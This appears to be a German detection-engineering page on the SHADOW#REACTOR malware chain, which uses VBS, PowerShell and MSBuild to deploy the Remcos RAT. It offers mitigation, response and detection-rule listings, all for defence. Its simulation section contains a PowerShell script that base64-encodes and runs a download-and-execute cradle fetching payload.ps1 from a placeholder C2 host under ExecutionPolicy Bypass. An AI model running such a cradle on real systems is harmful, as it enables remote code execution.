SCHATTEN#REAKTOR – TEXT-NUREN-STAGING, .NET REAKTOR UND IN-MEMORY REMCOS RAT BEREITSTELLUNG
Detection stack
- AIDR
- Alert
- ETL
- Query
Zusammenfassung
SHADOW#REACTOR ist eine mehrstufige Windows-Malware-Kette, die einen verschleierten VBS-Launcher, einen auf PowerShell basierenden Downloader, textbasierte Staging-Artefakte, einen durch .NET Reactor geschützten Loader und eine MSBuild-Ausführung kombiniert, um letztendlich den Remcos-RAT (Remote Access Trojan) bereitzustellen.
Untersuchung
Forscher rekonstruierten den Ablauf, beginnend mit einem VBS-Skript, das von der Infrastruktur des Angreifers abgerufen wurde, gefolgt von PowerShell-Routinen, die gestagete Text-Payloads zusammenstellen und decodieren. Die Kette fährt fort mit reflektivem, im Speicher geladenem .NET-Assembly und einer abschließenden Übergabe an MSBuild, das die Ausführung des Remcos RAT auslöst. Der Bericht dokumentiert die textcodierten Komponenten, die Entschlüsselungslogik und die Persistenzmethoden, die verwendet werden, um den Zugang aufrechtzuerhalten.
Minderung
Erhöhen Sie die Überwachungsabdeckung für Skriptausführungsprogramme und Interpreten und verhindern Sie die Ausführung von VBS/PowerShell von benutzerbeschreibbaren Pfaden, wo immer möglich. Fügen Sie Erkennungen für verdächtigen ausgehenden HTTP-Verkehr zur identifizierten Infrastruktur, MSBuild-Missbrauch und reflektives .NET-Assembly-Laden hinzu. Überwachen Sie gängige Persistenzmuster, einschließlich Run-Key-Modifikationen und verknüpfungsbasierte Start-Einträge.
Reaktion
Wenn SHADOW#REACTOR-Aktivität bestätigt wird, isolieren Sie den Endpunkt und beenden Sie die gesamte Prozesskette (wscript.exe → powershell.exe → msbuild.exe). Entfernen Sie alle gestageten Textdateien und zugehörigen Registrierungseinträge und beheben Sie dies, indem Sie Remcos-Binärdateien und zugehörige Konfigurationsdateien löschen. Folgen Sie mit einer gründlichen forensischen Überprüfung, um zusätzliche Kompromittierungen zu erfassen und vollständige Ausmerzung zu gewährleisten.
Angriffsfluss
Erkennungen
LOLBAS WScript / CScript (via Prozess-Erstellung)
Ansehen
Verdächtige PowerShell-Zeichenfolgen (via PowerShell)
Ansehen
Verdächtige Binärdateien / Skripte im Autostart-Verzeichnis (via Datei-Ereignis)
Ansehen
Verdächtige Dateien im öffentlichen Benutzerprofil (via Datei-Ereignis)
Ansehen
Verdächtige Ausführung aus dem öffentlichen Benutzerprofil (via Prozess-Erstellung)
Ansehen
Verdächtige .NET-Methodenaufrufe von PowerShell (via PowerShell)
Ansehen
IOCs (HashSha256) zur Erkennung: SHADOW#REACTOR – TEXT-ONLY STAGING, .NET REACTOR, UND IN-MEMORY REMCOS RAT BEREITSTELLUNG
Ansehen
IOCs (SourceIP) zur Erkennung: SHADOW#REACTOR – TEXT-ONLY STAGING, .NET REACTOR, UND IN-MEMORY REMCOS RAT BEREITSTELLUNG
Ansehen
IOCs (DestinationIP) zur Erkennung: SHADOW#REACTOR – TEXT-ONLY STAGING, .NET REACTOR, UND IN-MEMORY REMCOS RAT BEREITSTELLUNG
Ansehen
Erkennung der SHADOW#REACTOR-Infektionskette [Windows Prozess-Erstellung]
Ansehen
Erkennung von ExecutionPolicy-Umgehung und verschleierten PowerShell-Befehlen [Windows PowerShell]
Ansehen
Simulation Ausführung
Voraussetzung: Der Telemetrie- & Basislinienvorflug-Check muss bestanden haben.
Begründung: Dieser Abschnitt beschreibt die präzise Ausführung der Gegnertechnik (TTP), die entwickelt wurde, um die Erkennungsregel auszulösen. Die Befehle und der Bericht MÜSSEN die identifizierten TTPs direkt widerspiegeln und darauf abzielen, die genaue Telemetrie zu erzeugen, die von der Erkennungslogik erwartet wird.
-
Angriffserzählung & Befehle:
Ein Angreifer mit begrenzten Laterale-Movement-Rechten möchte ein Remote-Payload auf einem kompromittierten Windows-Host ausführen, während er typische Script-Blockierungsabwehr umgeht. Dazu verwenden sie PowerShell mit-ExecutionPolicy Bypassum Ausführungsrichtlinienbeschränkungen zu ignorieren. Das bösartige Payload ist als Base64-kodierter String verschleiert, der bei Decodierung einSystem.Net.WebClientObjekt erstellt, um ein PowerShell-Skript von einem C2-Server herunterzuladen und auszuführen. Diese Kombination erfüllt alle drei Erkennungskriterien (ExecutionPolicy Bypass,FromBase64String,System.Net.WebClient). -
Regressionstest-Skript:
#-------------------------------------------- # Simulierte bösartige PowerShell-Ausführung #-------------------------------------------- # 1. Erstelle ein einfaches remotees Skript (nur für Demo) $remoteScript = 'Invoke-Expression (New-Object System.Net.WebClient).DownloadString("http://{C2_HOST}/payload.ps1")' # 2. Kodieren Sie das Skript in Base64 $bytes = [System.Text.Encoding]::Unicode.GetBytes($remoteScript) $b64 = [Convert]::ToBase64String($bytes) # 3. Führen Sie mit ExecutionPolicy Bypass und FromBase64String aus PowerShell -ExecutionPolicy Bypass -Command " $decoded = [System.Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('$b64')); Invoke-Expression $decoded " -
Bereinigungsbefehle:
# Entfernen Sie alle heruntergeladenen Nutzlasten und beenden Sie verbleibende PowerShell-Prozesse Get-Process -Name powershell | Where-Object {$_.StartInfo.Arguments -match 'ExecutionPolicy Bypass'} | Stop-Process -Force Remove-Item -Path "C:Temppayload.ps1" -ErrorAction SilentlyContinue